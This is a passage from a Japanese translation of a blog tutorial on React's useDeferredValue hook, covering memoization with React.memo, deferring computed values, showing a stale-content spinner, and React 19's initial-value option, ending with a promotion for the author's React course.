      <ImportantStuff count={count} />
      <SlowStuff count={count} />
      <button onClick={() => setCount(count + 1)}>
        Increment
      </button>
    </>
  );
}

ここでのstateはcountです。これは、ボタンをクリックするごとに増えていく数字です。ImportantStuffはUIの中で優先度の高い部分を表します。つまり、countが増えるたびに直ちに更新したい部分です。SlowStuffは、UIの中で重要性が低い部分を表します。

ユーザーがボタンをクリックしてcountが増えるたびに、ReactはUIを更新する前にこれらの子コンポーネントを両方とも再レンダリングする必要があります。

詳しく分析してみましょう。下のボタンをクリックして、実際にレンダリングが行われる様子をご覧ください。

(訳注:イメージはキャプチャーです。インタラクティブサンプルは翻訳元サイトで確認できます

このデモのUIは、録画されたインタラクションの動画です。タイムラインのスライダーを動かすと、その時点のUIの状態を確認することができます。ボタンをクリックするとレンダリングが始まりますが、レンダリングが完了するまでUIが更新されない点に注目してください。

ImportantStuffSlowStuffの両方のレンダリングが、Reactが行う必要のある処理の全体です。次のスナップショットをクリックまたはタップして、中をのぞいてみてください

(訳注:イメージはキャプチャーです。インタラクティブサンプルは翻訳元サイトで確認できます

この仮想的な例では、ImportantStuffは極めて高速でレンダリングされ、ほとんどの時間はSlowStuffのレンダリングに費やされます。

ユーザーがボタンをクリックする間隔が短すぎると、Reactが処理を完了する前に次の更新が行われるため、レンダリングが積み重なってしまいます。そうすると、UIが低品質に感じられます。

(訳注:イメージはキャプチャーです。インタラクティブサンプルは翻訳元サイトで確認できます

最初のレンダリング(count: 1)が完了する前にユーザーが再度ボタンをクリックし、count2になります。Reactは最初のレンダリングを放棄し、正しいcount値で新しいレンダリングを開始します。UIは、レンダリングが正常に完了して初めて更新されます。

これらを踏まえた上で、useDeferredValueを使ってどのように問題を解決できるのか見てみましょう。

以下がコードです。

function App() {
  const [count, setCount] = React.useState(0);
  const deferredCount = React.useDeferredValue(count);
  return (
    <>
      <ImportantStuff count={count} />
      <SlowStuff count={deferredCount} />
      <button onClick={() => setCount(count + 1)}>
        Increment
      </button>
    </>
  );
}

最初のレンダリングでは、countdeferredCountの値はどちらも(0)です。しかし、ユーザーが「Increment」ボタンをクリックすると興味深い現象が起こります。

(訳注:イメージはキャプチャーです。インタラクティブサンプルは翻訳元サイトで確認できます

今度は、レンダリングごとにcountの値と、に渡される遅延させた値(deferred value)が表示されます。ラベルを表示するスペースがない場合、countdeferredCountの値のみ、線で区切られて表示されます。

info

試してみよう
何が起きているのかは後ほど詳しく説明します。まずは自分で少し触ってみてください。Reactがどのような処理を行っていて、それがなぜ有益なのか分かりますか?

タイムラインは友達です。黄色いスライダーをクリックするか押さえてドラッグすることで、動画を前後に進めることができます。もしくは、タイムラインを選択し、左右の矢印キーで1フレームずつ動かすこともできます。

では詳しく見てみましょう。count stateが変わると、Appコンポーネントは直ちに再レンダリングを行います。count1になりますが、興味深いことに、deferredCountは変わっておらず、0のままです。

これはつまり、SlowStuffに渡されたpropsが前回のレンダリング時と全く同じだということです。React.memo()によってメモ化されている場合、Reactは何を生成するかすでに分かっているため、わざわざ再レンダリングすることなく、最初のレンダリング時のデータを再利用します。

そのレンダリングが完了すると、すぐに2回目の再レンダリングが始まりますが、今度はdeferredCountが更新されており、countの値と同じ1になっています。これは、今回はSlowStuffの再レンダリングが行われることを意味します。ここまでの処理が完了すると、UIが完全に更新されます。

そこまでする必要はあるのでしょうか?ここまで読んで、不必要に複雑だと感じている読者もいるかもしれません。結果は前と同じなのに、処理が増えているのではないかと。

この仕組みが非常に優れている理由を説明しましょう。再度stateが変わり、Reactの処理が中断された場合、重要な情報はすでに更新されています。Reactは、重要性の低い2回目のレンダリングを放棄し、より重要な部分のレンダリングを直ちに開始することができます。

言葉で説明するのは難しいですが、次の録画を見ていただくと違いが分かるのではないでしょうか。

(訳注:イメージはキャプチャーです。インタラクティブサンプルは翻訳元サイトで確認できます

前に見た動画と同じように、ユーザーがクリックする間隔が短すぎて、Reactは全ての情報を更新することができていません。しかし、再レンダリングごとに優先度の高い部分と低い部分が分かれているため、Reactはクリック間に重要な部分を更新することができているのです。追加でクリックが行われると、Reactは進行中のレンダリングを放棄しますが、優先度が低い情報のため問題ありません。

これはなかなか難しい問題です。少し難しすぎると感じているようでしたら、次のセクションで基本的な仕組みを説明しているので、こちらを読んでいただくといいでしょう。

落とし穴:メモ化が必要

一つ重要な点を述べます。useDeferredValueは、優先度の低い、レンダリングの遅いコンポーネントがReact.memo()でラップされている場合のみ機能します。

import React from 'react';
function SlowComponent({ count }) {
  // Component stuff here
}
export default React.memo(SlowComponent);

React.memo()はReactに対し、propsまたはstateが変わった場合のみこのコンポーネントを再レンダリングするよう指示します。React.memo()がなければ、countのpropsが変わったかどうかにかかわらず、SlowComponentは親コンポーネントが再レンダリングされるたびに再レンダリングされます。

これは本当に重要なことなので、きちんと理解する必要があります。もう少し深掘りしてみましょう。繰り返しになりますが、以下がコードです。

function App() {
  const [count, setCount] = React.useState(0);
  const deferredCount = React.useDeferredValue(count);
  return (
    <>
      <ImportantStuff count={count} />
      <SlowStuff count={deferredCount} />
      <button onClick={() => setCount(count + 1)}>
        Increment
      </button>
    </>
  );
}

ユーザーが初めてボタンをクリックすると、count stateが0から1に増えます。Appコンポーネントは再レンダリングしますが、useDeferredValueフックは前回の値を再利用します。deferredCount1ではなく0に設定されます。

デフォルトでは、Reactはpropsが変わったかどうかにかかわらず、全ての子コンポーネントを再レンダリングします。React.memo()が設定されていなければ、ImportantStuffSlowStuffも再レンダリングされるため、useDeferredValueを使用するメリットが得られません。

SlowStuffReact.memo()でラップすると、Reactは現在のpropsを前回のものと比較し、再レンダリングが必要かどうかを判断します。deferredCount0のままなので、Reactは「新しい情報はないようだ。UIのこの部分を再計算する必要はない」と判断します。

これは筆者にとって目からうろこでしたuseDeferredValueは、UIの中で優先度が低い部分のレンダリングを(退屈な宿題を先延ばしにするように)後回しにすることを可能にします。最終的にはレンダリングが行われ、UIは全て更新されますが、一旦保留にするということです。stateが変わるたびに、Reactはレンダリングを中断し、より重要な情報のレンダリングに注力するのです。

info

Reactのレンダリングについて考える上でのメンタルモデル
Reactのレンダリングの仕組みについて、かなり熟知している前提で話していることは分かっています。頭がクラクラしている読者には、筆者による次のブログ記事が大いに役立つと思います。

実に多くのReact開発者がReactのレンダリングの仕組みを誤解しているので、この記事を読んで誤解を解き、useDeferredValueを理解する上で必要な知識を得ていただければと思います。

落とし穴:複数のstate変数を扱う

ここまでは、countのような単一のプリミティブ値を扱う場合におけるuseDeferredValueの仕組みについて見てきましたが、現実の世界では物事がそこまで単純なことはほとんどありません。

筆者が開発した「Shadow Palette Generator」では、関連するstateがいくつかあります。

function ShadowPaletteGenerator() {
  const [oomph, setOomph] = React.useState(0.5);
  const [crispy, setCrispy] = React.useState(0.5);
  const [backgroundColor, setBackgroundColor] = React.useState('#F00')
  const [tint, setTint] = React.useState(true);
  const [resolution, setResolution] = React.useState(0.75);
  const [lightPosition, setLightPosition] = React.useState({
    x: -0.2,
    y: -0.5,
  });
  const cssCode = generateShadows(oomph, crispy, backgroundColor, tint, resolution, lightPosition);
  return (
    <>
      {/* Other stuff omitted for brevity */}
      <CodeSnippet lang="css" code={cssCode} />
    </>
  );
}

最初は、それぞれのstateについて遅延させた値を作成しなくてはならないと考えていました。

const deferredOomph = React.useDeferredValue(oomph);
const deferredCrispy = React.useDeferredValue(crispy);
const deferredBg = React.useDeferredValue(backgroundColor);
const deferredTint = React.useDeferredValue(tint);
const deferredResolution = React.useDeferredValue(resolution);
const deferredLight = React.useDeferredValue(lightPosition);

そうすることもできますが、もっと簡単な方法があります。レンダリング時に生成されるCSSコードである計算値を遅延させるのです。

const cssCode = generateShadows(oomph, crispy, backgroundColor, tint, resolution, lightPosition);
const deferredCssCode = React.useDeferredValue(cssCode);
return (
  <>
    {/* Other stuff omitted for brevity */}
    <CodeSnippet lang="css" code={deferredCssCode} />
  </>
);

このフックはuseDeferredStateではなく、useDeferredValueというものです。useDeferredValue() に渡す引数がstate変数でなくてはならないというルールはないのです!

基本的な仕組みを理解するのが非常に重要である理由はここにあります。重要なのは、優先度の高い部分のレンダリングを行っている際に、優先度の低いコンポーネント(この場合はCodeSnippet)のpropsに新しい値が渡されないようにすることです。

ローデ​​ィングアイコンの表示

再計算が進行中であり、UIの一部の情報が古いことをユーザーに知らせたい場合があるかもしれません。

例えば、次のような表示を使用することもできます。

<SlowStuff>の更新が反映されるまでの間、その部分の画面を半透明にし、スピナーを表示します。そうすることで、ユーザーはUIの再計算が進行中であると分かります。

では、どうすればUIの一部がまだ更新されていないと分かるのでしょうか?実は、それを判別するためのツールがすでにあるのです。

以下がコードです。

function App() {
  const [count, setCount] = React.useState(0);
  const deferredCount = React.useDeferredValue(count);
  const isBusyRecalculating = count !== deferredCount;
  return (
    <>
      <ImportantStuff count={count} />
      <SlowWrapper
        style={{ opacity: isBusyRecalculating ? 0.5 : 1 }}
      >
        <SlowStuff count={deferredCount} />
        {isBusyRecalculating && <Spinner />}
      </SlowWrapper>
      <button onClick={() => setCount(count + 1)}>
        Increment
      </button>
    </>
  );
}

UIの情報が古いかどうかは、countdeferredCountを比較することで分かります。 筆者が最初にこれを見たときは、あまりに単純すぎて疑わしいと思いました。しかし、よく考えてみると理にかなっていたのです。

  • 優先度の高い最初のレンダリングで、deferredCountは前回の値を再利用します。count1に更新されますが、deferredCount0のままです。両者の値は異なります。
  • 次に行われる優先度の低いレンダリングでは、deferredCountが最新の値である1に更新されます。countdeferredCountの両方が同じ値になります。

最初のレンダリング時に<SlowStuff>のレンダリングを後回しにすることを可能にするのと同じ仕組みにより、UIがまだ完全に同期されていないことを見分けられるのです。実に秀逸ではないでしょうか。

実際にこれを行いたいかどうかは別問題です。筆者のShadow Palette Generatorで試してみました。

個人的には、この場合は改善しているとは言えないと思います。ユーザーには影の図に注目してもらいたいのに、コードスニペットの方に目が行ってしまいます。 しかし、場合によってはUIの一部の情報が古いことをユーザーに知らせる方法として役立つかもしれません。

最初のレンダリングを高速化する

数週間前にReact 19がベータ版に移行しました。間もなく公開されるこのメジャーアップデートでは、さまざまな変更が行われており、useDeferredValueも大幅にパワーアップされる予定です。 React 19以前では、useDeferredValueは与えられた値で初期化されていました。

function App() {
  const [count, setCount] = React.useState(0);
  const deferredCount = React.useDeferredValue(count);
  // On the initial render:
  console.log(deferredCount); // 0
  console.log(count === deferredCount); // true
}

Reactには使用可能な前回値がないため、ここで説明したような二重レンダリングは行いません。したがって、実質的にuseDeferredValueは最初のレンダリングに対しては効果がないのです。 しかし、React 19からは初期値を指定できるようになります。

const deferredCount = React.useDeferredValue(count, initialValue);

なぜそうする必要があるのでしょうか?このパターンでは、最初のレンダリングを高速化できる可能性があります。

例えば、Shadow Palette Generatorを使用して次のようなことができます。

const cssCode = generateShadows(oomph, crispy, backgroundColor, tint, resolution, lightPosition);
const deferredCssCode = React.useDeferredValue(
  cssCode,
  null
);
return (
  <>
    {/* Other stuff omitted for brevity */}
    {deferredCssCode !== null && (
      <CodeSnippet lang="css" code={deferredCssCode} />
    )}
  </>
);

優先度の高い高速レンダリングでは、deferredCssCodenullとなるため、<CodeSnippet>はレンダリングすらされません。しかし、高速レンダリングが終わると、すぐにこのコンポーネントの再レンダリングが自動的に行われ、枠にコードが表示されます。

重要度の低いUI要素を待つ必要がないため、アプリケーション全体としてはレスポンスが向上するはずです。

none

Reactのドキュメント
このチュートリアルでは、useDeferredValueの主なユースケースの一つについて説明しましたが、Suspenseに対応したデータ取得ライブラリを使用する場合など、他にも役立つ場面があるでしょう。詳しくはReactの公式ドキュメントをご覧ください。

劇的な変化

それでは、useDeferredValueフックを使用した場合の結果を見てみましょう。

最高です!何もかも非常に滑らかです。💯

でもちょっと待ってください。筆者がテストに使用しているのは高性能なMacBook Proです。より性能の低いデバイスではどうでしょうか?

数年前、近所のPCショップで一番安い新品のWindowsノートパソコンを買いたいと言ったところ、インテルCeleronプロセッサーを搭載した110米ドルのAcer製ノートパソコンを引っ張り出してきてくれました。このマシンを使用し、useDeferredValueを実装した状態で動かすとこうなります。

さっきほど滑らかではありませんが、スタートメニューを開くのさえ時間がかかるマシンにしては悪くありません。コントロールの操作を終えるまでコードスニペットが更新されない点に注目してください。ここではuseDeferredValueが大いに役立っています。


Reactの多くの点について言えることですが、適切なメンタルモデルで臨まなければuseDeferredValueは非常に複雑に感じられます。Reactは非常に洗練されたツールへと進化を遂げてきましたが、効果的に使いこなすためには、その仕組みを直感的に理解できるようになる必要があります。

筆者は2年近くかけてReactについて学べる究極のリソースを作り上げました。その名もThe Joy of Reactです。仕事で10年近くReactを使ってきた経験から得た知識を全て網羅しています。

もしこのブログ記事が役に立ったと感じていただけたなら、筆者のコースから得られるものは多いと思います。このコースは、多くの気づきが得られ、Reactの仕組みに関する強力なメンタルモデルを形成でき、Reactを使用して豊かでダイナミックなWebアプリケーションを構築する方法を学べる内容となっています。

(https://www.joyofreact.com/)

コースに関する詳細は以下をご覧ください。

最後まで読んでいただきありがとうございました! 💖

]]>